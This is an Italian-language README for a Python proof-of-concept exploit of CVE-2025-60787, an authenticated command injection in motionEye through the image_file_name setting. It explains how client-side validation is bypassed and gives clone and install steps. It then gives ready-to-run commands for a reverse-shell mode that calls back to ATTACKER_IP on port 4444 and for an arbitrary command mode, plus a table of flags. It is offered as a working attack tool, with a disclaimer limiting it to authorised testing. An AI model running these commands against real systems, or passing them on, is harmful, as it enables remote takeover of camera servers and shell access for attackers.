
PoC in Python per CVE-2025-60787, iniezione di comandi OS autenticata RCE in motionEye <= 0.43.1b4 tramite la configurazione image_file_name non sanificata
| Campo | Dettagli |
|---|
| ID CVE | CVE-2025-60787 |
| Punteggio CVSS | 7.2 (Alto) |
| Tipo | Iniezione di Comandi del Sistema Operativo (CWE-78) |
| Versione affetta | motionEye <= 0.43.1b4 |
| Corretto in | 0.43.1b5 |
motionEye accetta stringhe arbitrarie in campi di configurazione come image_file_name e le scrive direttamente nei file di configurazione di Motion (/etc/motioneye/camera-*.conf). Quando il servizio Motion si riavvia, interpreta questi campi come stringhe espandibili dalla shell, permettendo a un attaccante autenticato di iniettare ed eseguire comandi arbitrari del sistema operativo.
L'interfaccia web include una validazione lato client per questi campi, ma può essere facilmente bypassata inviando direttamente richieste API appositamente modificate.
image_file_name malevolocapture_mode: interval-snapshots)requestsgit clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt
L'exploit supporta due modalità: reverse shell ed esecuzione di comandi.
Avviare un listener sulla propria macchina, quindi eseguire:
python3 exploit.py revshell \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-i ATTACKER_IP \
--port 4444
python3 exploit.py command \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-e "id; whoami"
| Flag | Descrizione |
|---|---|
--url | URL del motionEye target inclusa la porta |
--user | Nome utente motionEye |
--password | Password motionEye |
-i / --host | IP del listener (modalità revshell) |
--port | Porta del listener (modalità revshell) |
-e / --exec | Comando da eseguire (modalità comando) |
--camera-id | Specificare un ID telecamera target |
--sh | Usa /bin/sh invece di /bin/bash |
--no-verify | Salta la verifica del certificato TLS |
--proxy | Instradare il traffico attraverso un proxy (es. http://127.0.0.1:8080) |
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato ai sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software. Ottenere sempre la debita autorizzazione prima di effettuare test.
Questo progetto è concesso in licenza secondo i termini della Licenza MIT.